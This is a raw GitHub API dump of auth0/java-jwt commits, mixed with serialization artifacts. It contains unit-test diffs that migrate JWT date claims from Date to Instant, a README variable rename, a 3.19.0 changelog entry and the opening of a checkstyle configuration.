         LongNode node = new LongNode(seconds);
         tree.put("key", node);
 
-        Date date = deserializer.getDateFromSeconds(tree, "key");
-        assertThat(date, is(notNullValue()));
-        assertThat(date.getTime(), is(seconds * 1000));
+        Instant instant = deserializer.getInstantFromSeconds(tree, "key");
+        assertThat(instant, is(notNullValue()));
+        assertThat(instant.toEpochMilli(), is(seconds * 1000));
     }
 
+
     @Test
-    public void shouldGetLargeDateWhenParsingNumericNode() {
+    public void shouldGetLargeInstantWhenParsingNumericNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         long seconds = Integer.MAX_VALUE + 10000L;
         LongNode node = new LongNode(seconds);
         tree.put("key", node);
 
-        Date date = deserializer.getDateFromSeconds(tree, "key");
-        assertThat(date, is(notNullValue()));
-        assertThat(date.getTime(), is(seconds * 1000));
-        assertThat(date.getTime(), is(2147493647L * 1000));
+        Instant instant = deserializer.getInstantFromSeconds(tree, "key");
+        assertThat(instant, is(notNullValue()));
+        assertThat(instant.toEpochMilli(), is(seconds * 1000));
+        assertThat(instant.toEpochMilli(), is(2147493647L * 1000));
     }
 
     @Testu     }(j5  (1d3218ed2d82c261deacf0a640068fb4220fca5cj5  9lib/src/test/java/com/auth0/jwt/impl/PayloadImplTest.javaj5  modifiedj5  Kj5  Kj5  Kj5  https://github.com/auth0/java-jwt/blob/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImplTest.javaj5  https://github.com/auth0/java-jwt/raw/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImplTest.javaj5  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImplTest.java?ref=90cea2d99680b985130f702ccb830bb322458171j6  X  @@ -11,8 +11,8 @@
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
-import org.mockito.Mockito;
 
+import java.time.Instant;
 import java.util.*;
 
 import static com.auth0.jwt.impl.JWTParser.getDefaultObjectMapper;
@@ -25,38 +25,33 @@ public class PayloadImplTest {
     public ExpectedException exception = ExpectedException.none();
 
     private PayloadImpl payload;
-    private Date expiresAt;
-    private Date notBefore;
-    private Date issuedAt;
+    private final Instant expiresAt = Instant.now().plusSeconds(10);
+    private final Instant notBefore = Instant.now();
+    private final Instant issuedAt = Instant.now();
 
-    private ObjectMapper mapper;
     private ObjectReader objectReader;
 
     @Before
     public void setUp() {
-        mapper = getDefaultObjectMapper();
+        ObjectMapper mapper = getDefaultObjectMapper();
         objectReader = mapper.reader();
 
-        expiresAt = Mockito.mock(Date.class);
-        notBefore = Mockito.mock(Date.class);
-        issuedAt = Mockito.mock(Date.class);
         Map<String, JsonNode> tree = new HashMap<>();
         tree.put("extraClaim", new TextNode("extraValue"));
         payload = new PayloadImpl("issuer", "subject", Collections.singletonList("audience"), expiresAt, notBefore, issuedAt, "jwtId", tree, objectReader);
     }
 
-    @SuppressWarnings("Convert2Diamond")
     @Test
     public void shouldHaveUnmodifiableTree() {
         exception.expect(UnsupportedOperationException.class);
-        PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, new HashMap<String, JsonNode>(), objectReader);
+        PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, new HashMap<>(), objectReader);
         payload.getTree().put("something", null);
     }
 
     @Test
     public void shouldHaveUnmodifiableAudience() {
         exception.expect(UnsupportedOperationException.class);
-        PayloadImpl payload = new PayloadImpl(null, null, new ArrayList<String>(), null, null, null, null, null, objectReader);
+        PayloadImpl payload = new PayloadImpl(null, null, new ArrayList<>(), null, null, null, null, null, objectReader);
         payload.getAudience().add("something");
     }
 
@@ -104,40 +99,46 @@ public void shouldGetNullAudienceIfMissing() {
     @Test
     public void shouldGetExpiresAt() {
         assertThat(payload, is(notNullValue()));
-        assertThat(payload.getExpiresAt(), is(expiresAt));
+        assertThat(payload.getExpiresAt(), is(Date.from(expiresAt)));
+        assertThat(payload.getExpiresAtAsInstant(), is(expiresAt));
     }
 
     @Test
     public void shouldGetNullExpiresAtIfMissing() {
         PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getExpiresAt(), is(nullValue()));
+        assertThat(payload.getExpiresAtAsInstant(), is(nullValue()));
     }
 
     @Test
     public void shouldGetNotBefore() {
         assertThat(payload, is(notNullValue()));
-        assertThat(payload.getNotBefore(), is(notBefore));
+        assertThat(payload.getNotBefore(), is(Date.from(notBefore)));
+        assertThat(payload.getNotBeforeAsInstant(), is(notBefore));
     }
 
     @Test
     public void shouldGetNullNotBeforeIfMissing() {
         PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getNotBefore(), is(nullValue()));
+        assertThat(payload.getNotBeforeAsInstant(), is(nullValue()));
     }
 
     @Test
     public void shouldGetIssuedAt() {
         assertThat(payload, is(notNullValue()));
-        assertThat(payload.getIssuedAt(), is(issuedAt));
+        assertThat(payload.getIssuedAt(), is(Date.from(issuedAt)));
+        assertThat(payload.getIssuedAtAsInstant(), is(issuedAt));
     }
 
     @Test
     public void shouldGetNullIssuedAtIfMissing() {
         PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getIssuedAt(), is(nullValue()));
+        assertThat(payload.getIssuedAtAsInstant(), is(nullValue()));
     }
 
     @Testu}(j5  (120f6a9d83947f615abafb83ebf2b3ff229c3454j5  9lib/src/test/java/com/auth0/jwt/interfaces/ClaimTest.javaj5  addedj5  K]j5  K j5  K]j5  https://github.com/auth0/java-jwt/blob/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaimTest.javaj5  https://github.com/auth0/java-jwt/raw/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaimTest.javaj5  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaimTest.java?ref=90cea2d99680b985130f702ccb830bb322458171j6  X  @@ -0,0 +1,93 @@
+package com.auth0.jwt.interfaces;
+
+import com.auth0.jwt.exceptions.JWTDecodeException;
+import org.junit.Test;
+
+import java.util.Date;
+import java.util.List;
+import java.util.Map;
+
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.*;
+
+public class ClaimTest {
+
+    @Test
+    public void shouldGetInstantUsingDefault() {
+        Date date = new Date(1646667492000L);
+        Claim claim = new ClaimImplForTest(date);
+        assertThat(claim.asInstant(), is(date.toInstant()));
+    }
+
+    @Test
+    public void shouldGetNullInstantUsingDefault() {
+        Claim claim = new ClaimImplForTest(null);
+        assertThat(claim.asInstant(), is(nullValue()));
+    }
+
+    /**
+     * Implementation that does not override {@code asInstant()}
+     */
+    static class ClaimImplForTest implements Claim {
+        private final Date date;
+
+        ClaimImplForTest(Date date) {
+            this.date = date;
+        }
+
+        @Override
+        public boolean isNull() {
+            return false;
+        }
+
+        @Override
+        public Boolean asBoolean() {
+            return null;
+        }
+
+        @Override
+        public Integer asInt() {
+            return null;
+        }
+
+        @Override
+        public Long asLong() {
+            return null;
+        }
+
+        @Override
+        public Double asDouble() {
+            return null;
+        }
+
+        @Override
+        public String asString() {
+            return null;
+        }
+
+        @Override
+        public Date asDate() {
+            return date;
+        }
+
+        @Override
+        public <T> T[] asArray(Class<T> tClazz) throws JWTDecodeException {
+            return null;
+        }
+
+        @Override
+        public <T> List<T> asList(Class<T> tClazz) throws JWTDecodeException {
+            return null;
+        }
+
+        @Override
+        public Map<String, Object> asMap() throws JWTDecodeException {
+            return null;
+        }
+
+        @Override
+        public <T> T as(Class<T> tClazz) throws JWTDecodeException {
+            return null;
+        }
+    }
+}u}(j5  (c5d2bd00ac72fefcc5cf1a101f3ebf561fc112c9j5  ;lib/src/test/java/com/auth0/jwt/interfaces/PayloadTest.javaj5  addedj5  KSj5  K j5  KSj5  https://github.com/auth0/java-jwt/blob/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayloadTest.javaj5  https://github.com/auth0/java-jwt/raw/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayloadTest.javaj5  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayloadTest.java?ref=90cea2d99680b985130f702ccb830bb322458171j6  X*  @@ -0,0 +1,83 @@
+package com.auth0.jwt.interfaces;
+
+import org.junit.Test;
+
+import java.util.Date;
+import java.util.List;
+import java.util.Map;
+
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.*;
+
+public class PayloadTest {
+
+    @Test
+    public void shouldGetInstantFromDefault() {
+        Date date = new Date(1646667492000L);
+        Payload payload = new PayloadImplForTest(date);
+        assertThat(payload.getExpiresAtAsInstant(), is(date.toInstant()));
+        assertThat(payload.getIssuedAtAsInstant(), is(date.toInstant()));
+        assertThat(payload.getNotBeforeAsInstant(), is(date.toInstant()));
+    }
+
+    @Test
+    public void shouldGetInstantFromDefaultAsNu() {
+        Payload payload = new PayloadImplForTest(null);
+        assertThat(payload.getExpiresAtAsInstant(), is(nullValue()));
+        assertThat(payload.getIssuedAtAsInstant(), is(nullValue()));
+        assertThat(payload.getNotBeforeAsInstant(), is(nullValue()));
+    }
+
+    static class PayloadImplForTest implements Payload {
+        private final Date date;
+
+        PayloadImplForTest(Date date) {
+            this.date = date;
+        }
+
+        @Override
+        public String getIssuer() {
+            return null;
+        }
+
+        @Override
+        public String getSubject() {
+            return null;
+        }
+
+        @Override
+        public List<String> getAudience() {
+            return null;
+        }
+
+        @Override
+        public Date getExpiresAt() {
+            return date;
+        }
+
+        @Override
+        public Date getNotBefore() {
+            return date;
+        }
+
+        @Override
+        public Date getIssuedAt() {
+            return date;
+        }
+
+        @Override
+        public String getId() {
+            return null;
+        }
+
+        @Override
+        public Claim getClaim(String name) {
+            return null;
+        }
+
+        @Override
+        public Map<String, Claim> getClaims() {
+            return null;
+        }
+    }
+}ueu(81c8b46b8974bd2160218c2b5116e6d4dfae4a61}(sha(81c8b46b8974bd2160218c2b5116e6d4dfae4a61node_idEC_kwDOAQtL0doAKDgxYzhiNDZiODk3NGJkMjE2MDIxOGMyYjUxMTZlNmQ0ZGZhZTRhNjEcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-07-25T09:02:43Zu	committer}(j6  
Poovamraj T Tj6  poovamraj@gmail.comj6  2022-07-25T09:02:43Zumessage Updated variable name for READMEtree}(j6  (46aed6489320f1c6db80eb1cf4053ccd06ec84faurl^https://api.github.com/repos/auth0/java-jwt/git/trees/46aed6489320f1c6db80eb1cf4053ccd06ec84fauj6  `https://api.github.com/repos/auth0/java-jwt/git/commits/81c8b46b8974bd2160218c2b5116e6d4dfae4a61
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj6  \https://api.github.com/repos/auth0/java-jwt/commits/81c8b46b8974bd2160218c2b5116e6d4dfae4a61html_urlQhttps://github.com/auth0/java-jwt/commit/81c8b46b8974bd2160218c2b5116e6d4dfae4a61comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/81c8b46b8974bd2160218c2b5116e6d4dfae4a61/commentsj6  }(login	poovamrajidJ j6  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j6  &https://api.github.com/users/poovamrajj6  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj6  }(j6  	poovamrajj6  J j6  MDQ6VXNlcjE1OTEwNDI1j6  4https://avatars.githubusercontent.com/u/15910425?v=4j6  h3j6  &https://api.github.com/users/poovamrajj6  https://github.com/poovamrajj6  0https://api.github.com/users/poovamraj/followersj6  =https://api.github.com/users/poovamraj/following{/other_user}j6  6https://api.github.com/users/poovamraj/gists{/gist_id}j6  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j6  4https://api.github.com/users/poovamraj/subscriptionsj6  +https://api.github.com/users/poovamraj/orgsj6  ,https://api.github.com/users/poovamraj/reposj6  7https://api.github.com/users/poovamraj/events{/privacy}j6  6https://api.github.com/users/poovamraj/received_eventsj6  Userj6  uparents]}(j6  (0bf73a60152ff86014d6687c336851fe78190abaj6  \https://api.github.com/repos/auth0/java-jwt/commits/0bf73a60152ff86014d6687c336851fe78190abaj6  Qhttps://github.com/auth0/java-jwt/commit/0bf73a60152ff86014d6687c336851fe78190abauastats}(totalK	additionsK	deletionsKufiles]}(j6  (bbc166c1480323d3f83909dd19a5fd167e9e92d7filename	README.mdstatusmodifiedj6  Kj6  KchangesKblob_urlYhttps://github.com/auth0/java-jwt/blob/81c8b46b8974bd2160218c2b5116e6d4dfae4a61/README.mdraw_urlXhttps://github.com/auth0/java-jwt/raw/81c8b46b8974bd2160218c2b5116e6d4dfae4a61/README.mdcontents_urlkhttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=81c8b46b8974bd2160218c2b5116e6d4dfae4a61patchX  @@ -202,15 +202,15 @@ By using a `KeyProvider` you can change in runtime the key used either to verify
 The following example shows how this would work with `JwkProvider` from the [jwks-rsa-java](https://github.com/auth0/jwks-rsa-java) library.
 
 ```java
-final JwkProvider jwkStore = new UrlJwkProvider("https://samples.auth0.com/");
+final JwkProvider jwkProvider = new UrlJwkProvider("https://samples.auth0.com/");
 final RSAPrivateKey privateKey = //Get the key instance
 final String privateKeyId = //Create an Id for the above key
 
 RSAKeyProvider keyProvider = new RSAKeyProvider() {
     @Override
     public RSAPublicKey getPublicKeyById(String kid) {
         //Received 'kid' value might be null if it wasn't defined in the Token's header
-        PublicKey publicKey = jwkStore.get(kid).getPublicKey();
+        PublicKey publicKey = jwkProvider.get(kid).getPublicKey();
         return (RSAPublicKey) publicKey;
     }
 uau(4e95a939e654c9c5d1e0b9aebd26f9ee4b0c4eda}(sha(4e95a939e654c9c5d1e0b9aebd26f9ee4b0c4edanode_idEC_kwDOAQtL0doAKDRlOTVhOTM5ZTY1NGM5YzVkMWUwYjlhZWJkMjZmOWVlNGIwYzRlZGEcommit}(author}(nameJames Andersonemailjim.anderson@auth0.comdate2022-03-07T16:04:49Zu	committer}(j7  James Andersonj7  jim.anderson@auth0.comj7  2022-03-07T16:33:55Zumessage,add tests for default method implementationstree}(j7  (32710152945fb83177008325bf3ef9c16c6402ecurl^https://api.github.com/repos/auth0/java-jwt/git/trees/32710152945fb83177008325bf3ef9c16c6402ecuj*7  `https://api.github.com/repos/auth0/java-jwt/git/commits/4e95a939e654c9c5d1e0b9aebd26f9ee4b0c4eda
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj*7  \https://api.github.com/repos/auth0/java-jwt/commits/4e95a939e654c9c5d1e0b9aebd26f9ee4b0c4edahtml_urlQhttps://github.com/auth0/java-jwt/commit/4e95a939e654c9c5d1e0b9aebd26f9ee4b0c4edacomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/4e95a939e654c9c5d1e0b9aebd26f9ee4b0c4eda/commentsj7  }(login
jimmyjamesidJ7 j7  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j*7  'https://api.github.com/users/jimmyjamesj67  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj 7  }(j;7  
jimmyjamesj=7  J7 j7  MDQ6VXNlcjI3NjIyNQ==j?7  2https://avatars.githubusercontent.com/u/276225?v=4jA7  h3j*7  'https://api.github.com/users/jimmyjamesj67  https://github.com/jimmyjamesjD7  1https://api.github.com/users/jimmyjames/followersjF7  >https://api.github.com/users/jimmyjames/following{/other_user}jH7  7https://api.github.com/users/jimmyjames/gists{/gist_id}jJ7  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}jL7  5https://api.github.com/users/jimmyjames/subscriptionsjN7  ,https://api.github.com/users/jimmyjames/orgsjP7  -https://api.github.com/users/jimmyjames/reposjR7  8https://api.github.com/users/jimmyjames/events{/privacy}jT7  7https://api.github.com/users/jimmyjames/received_eventsjV7  UserjX7  uparents]}(j7  (c1df5650712b85431000954352f98a5fbeaac4ecj*7  \https://api.github.com/repos/auth0/java-jwt/commits/c1df5650712b85431000954352f98a5fbeaac4ecj67  Qhttps://github.com/auth0/java-jwt/commit/c1df5650712b85431000954352f98a5fbeaac4ecuastats}(totalK	additionsK	deletionsK ufiles](}(j7  (120f6a9d83947f615abafb83ebf2b3ff229c3454filename9lib/src/test/java/com/auth0/jwt/interfaces/ClaimTest.javastatusaddedjr7  K]js7  K changesK]blob_urlhttps://github.com/auth0/java-jwt/blob/4e95a939e654c9c5d1e0b9aebd26f9ee4b0c4eda/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaimTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/4e95a939e654c9c5d1e0b9aebd26f9ee4b0c4eda/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaimTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaimTest.java?ref=4e95a939e654c9c5d1e0b9aebd26f9ee4b0c4edapatchX  @@ -0,0 +1,93 @@
+package com.auth0.jwt.interfaces;
+
+import com.auth0.jwt.exceptions.JWTDecodeException;
+import org.junit.Test;
+
+import java.util.Date;
+import java.util.List;
+import java.util.Map;
+
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.*;
+
+public class ClaimTest {
+
+    @Test
+    public void shouldGetInstantUsingDefault() {
+        Date date = new Date(1646667492000L);
+        Claim claim = new ClaimImplForTest(date);
+        assertThat(claim.asInstant(), is(date.toInstant()));
+    }
+
+    @Test
+    public void shouldGetNullInstantUsingDefault() {
+        Claim claim = new ClaimImplForTest(null);
+        assertThat(claim.asInstant(), is(nullValue()));
+    }
+
+    /**
+     * Implementation that does not override {@code asInstant()}
+     */
+    static class ClaimImplForTest implements Claim {
+        private final Date date;
+
+        ClaimImplForTest(Date date) {
+            this.date = date;
+        }
+
+        @Override
+        public boolean isNull() {
+            return false;
+        }
+
+        @Override
+        public Boolean asBoolean() {
+            return null;
+        }
+
+        @Override
+        public Integer asInt() {
+            return null;
+        }
+
+        @Override
+        public Long asLong() {
+            return null;
+        }
+
+        @Override
+        public Double asDouble() {
+            return null;
+        }
+
+        @Override
+        public String asString() {
+            return null;
+        }
+
+        @Override
+        public Date asDate() {
+            return date;
+        }
+
+        @Override
+        public <T> T[] asArray(Class<T> tClazz) throws JWTDecodeException {
+            return null;
+        }
+
+        @Override
+        public <T> List<T> asList(Class<T> tClazz) throws JWTDecodeException {
+            return null;
+        }
+
+        @Override
+        public Map<String, Object> asMap() throws JWTDecodeException {
+            return null;
+        }
+
+        @Override
+        public <T> T as(Class<T> tClazz) throws JWTDecodeException {
+            return null;
+        }
+    }
+}u}(j7  (c5d2bd00ac72fefcc5cf1a101f3ebf561fc112c9jx7  ;lib/src/test/java/com/auth0/jwt/interfaces/PayloadTest.javajz7  addedjr7  KSjs7  K j|7  KSj}7  https://github.com/auth0/java-jwt/blob/4e95a939e654c9c5d1e0b9aebd26f9ee4b0c4eda/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayloadTest.javaj7  https://github.com/auth0/java-jwt/raw/4e95a939e654c9c5d1e0b9aebd26f9ee4b0c4eda/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayloadTest.javaj7  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayloadTest.java?ref=4e95a939e654c9c5d1e0b9aebd26f9ee4b0c4edaj7  X*  @@ -0,0 +1,83 @@
+package com.auth0.jwt.interfaces;
+
+import org.junit.Test;
+
+import java.util.Date;
+import java.util.List;
+import java.util.Map;
+
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.*;
+
+public class PayloadTest {
+
+    @Test
+    public void shouldGetInstantFromDefault() {
+        Date date = new Date(1646667492000L);
+        Payload payload = new PayloadImplForTest(date);
+        assertThat(payload.getExpiresAtAsInstant(), is(date.toInstant()));
+        assertThat(payload.getIssuedAtAsInstant(), is(date.toInstant()));
+        assertThat(payload.getNotBeforeAsInstant(), is(date.toInstant()));
+    }
+
+    @Test
+    public void shouldGetInstantFromDefaultAsNu() {
+        Payload payload = new PayloadImplForTest(null);
+        assertThat(payload.getExpiresAtAsInstant(), is(nullValue()));
+        assertThat(payload.getIssuedAtAsInstant(), is(nullValue()));
+        assertThat(payload.getNotBeforeAsInstant(), is(nullValue()));
+    }
+
+    static class PayloadImplForTest implements Payload {
+        private final Date date;
+
+        PayloadImplForTest(Date date) {
+            this.date = date;
+        }
+
+        @Override
+        public String getIssuer() {
+            return null;
+        }
+
+        @Override
+        public String getSubject() {
+            return null;
+        }
+
+        @Override
+        public List<String> getAudience() {
+            return null;
+        }
+
+        @Override
+        public Date getExpiresAt() {
+            return date;
+        }
+
+        @Override
+        public Date getNotBefore() {
+            return date;
+        }
+
+        @Override
+        public Date getIssuedAt() {
+            return date;
+        }
+
+        @Override
+        public String getId() {
+            return null;
+        }
+
+        @Override
+        public Claim getClaim(String name) {
+            return null;
+        }
+
+        @Override
+        public Map<String, Claim> getClaims() {
+            return null;
+        }
+    }
+}ueu(0333526d9a3d2893b9abb506cc38cc83de091776}(sha(0333526d9a3d2893b9abb506cc38cc83de091776node_idEC_kwDOAQtL0doAKDAzMzM1MjZkOWEzZDI4OTNiOWFiYjUwNmNjMzhjYzgzZGUwOTE3NzYcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-25T08:03:14Zu	committer}(j7  
Poovamraj T Tj7  poovamraj@gmail.comj7  2022-03-25T08:03:14Zumessage3Merge branch 'v4-dev' into predicate-claim-verifiertree}(j7  (993ac4be2492226a2f657e8e60c5bc8070d30784url^https://api.github.com/repos/auth0/java-jwt/git/trees/993ac4be2492226a2f657e8e60c5bc8070d30784uj7  `https://api.github.com/repos/auth0/java-jwt/git/commits/0333526d9a3d2893b9abb506cc38cc83de091776
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj7  \https://api.github.com/repos/auth0/java-jwt/commits/0333526d9a3d2893b9abb506cc38cc83de091776html_urlQhttps://github.com/auth0/java-jwt/commit/0333526d9a3d2893b9abb506cc38cc83de091776comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/0333526d9a3d2893b9abb506cc38cc83de091776/commentsj7  }(login	poovamrajidJ j7  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j7  &https://api.github.com/users/poovamrajj7  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj7  }(j7  	poovamrajj7  J j7  MDQ6VXNlcjE1OTEwNDI1j7  4https://avatars.githubusercontent.com/u/15910425?v=4j7  h3j7  &https://api.github.com/users/poovamrajj7  https://github.com/poovamrajj7  0https://api.github.com/users/poovamraj/followersj7  =https://api.github.com/users/poovamraj/following{/other_user}j7  6https://api.github.com/users/poovamraj/gists{/gist_id}j7  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j7  4https://api.github.com/users/poovamraj/subscriptionsj7  +https://api.github.com/users/poovamraj/orgsj7  ,https://api.github.com/users/poovamraj/reposj7  7https://api.github.com/users/poovamraj/events{/privacy}j7  6https://api.github.com/users/poovamraj/received_eventsj7  Userj7  uparents](}(j7  (4e22222b2495817673e35fc28cd2697effd1230bj7  \https://api.github.com/repos/auth0/java-jwt/commits/4e22222b2495817673e35fc28cd2697effd1230bj7  Qhttps://github.com/auth0/java-jwt/commit/4e22222b2495817673e35fc28cd2697effd1230bu}(j7  (75833e6d422206ec64e6215bdf0e940aa1c16239j7  \https://api.github.com/repos/auth0/java-jwt/commits/75833e6d422206ec64e6215bdf0e940aa1c16239j7  Qhttps://github.com/auth0/java-jwt/commit/75833e6d422206ec64e6215bdf0e940aa1c16239uestats}(totalM	additionsM	deletionsM ufiles](}(j7  (84686b4b01b8efa5fc01dde25c8b63e9605ce727filenameCHANGELOG.mdstatusmodifiedj7  Kj7  K changesKblob_url\https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=0333526d9a3d2893b9abb506cc38cc83de091776patchX  @@ -1,5 +1,17 @@
 # Change Log
 
+## [3.19.0](https://github.com/auth0/java-jwt/tree/3.19.0) (2022-03-14)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/3.18.3...3.19.0)
+
+**Deprecated**
+- Deprecate ES256K Algorithm [\#543](https://github.com/auth0/java-jwt/pull/543) ([poovamraj](https://github.com/poovamraj))
+
+**Fixed**
+- fix typos in JWTVerifier#verify docstring [\#526](https://github.com/auth0/java-jwt/pull/526) ([OdunlamiZO](https://github.com/OdunlamiZO))
+
+**Security**
+- Bump `jackson-databind` dependency to 2.13.2 [\#542](https://github.com/auth0/java-jwt/pull/542) ([evansims](https://github.com/evansims))
+
 ## [3.18.3](https://github.com/auth0/java-jwt/tree/3.18.3) (2022-01-13)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/3.18.2...3.18.3)
 u}(j7  (0f847ccabe32ccfb0d0b925ebe5214f8f3908851j7  	README.mdj7  modifiedj7  Kj7  Kj7  Kj7  Yhttps://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/README.mdj 8  Xhttps://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/README.mdj8  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X  @@ -23,14 +23,14 @@ The library is available on both Maven Central and Bintray, and the Javadoc is p
 <dependency>
     <groupId>com.auth0</groupId>
     <artifactId>java-jwt</artifactId>
-    <version>3.18.3</version>
+    <version>3.19.0</version>
 </dependency>
 ```
 
 ### Gradle
 
 ```gradle
-implementation 'com.auth0:java-jwt:3.18.3'
+implementation 'com.auth0:java-jwt:3.19.0'
 ```
 
 ## Available Algorithmsu}(j7  (d261598185a284921b33df28fcffc23706782f82j7   config/checkstyle/checkstyle.xmlj7  addedj7  Mfj7  K j7  Mfj7  thttps://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/config%2Fcheckstyle%2Fcheckstyle.xmlj 8  shttps://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/config%2Fcheckstyle%2Fcheckstyle.xmlj8  https://api.github.com/repos/auth0/java-jwt/contents/config%2Fcheckstyle%2Fcheckstyle.xml?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  XxK  @@ -0,0 +1,358 @@
+<?xml version="1.0"?>
+<!DOCTYPE module PUBLIC
+        "-//Checkstyle//DTD Checkstyle Configuration 1.3//EN"
+        "https://checkstyle.org/dtds/configuration_1_3.dtd">
+
+<!--
+    Checkstyle configuration that checks the Google coding conventions from Google Java Style
+    that can be found at https://google.github.io/styleguide/javaguide.html
+
+    Checkstyle is very configurable. Be sure to read the documentation at
+    http://checkstyle.org (or in your downloaded distribution).
+
+    To completely disable a check, just comment it out or delete it from the file.
+    To suppress certain violations please review suppression filters.
+
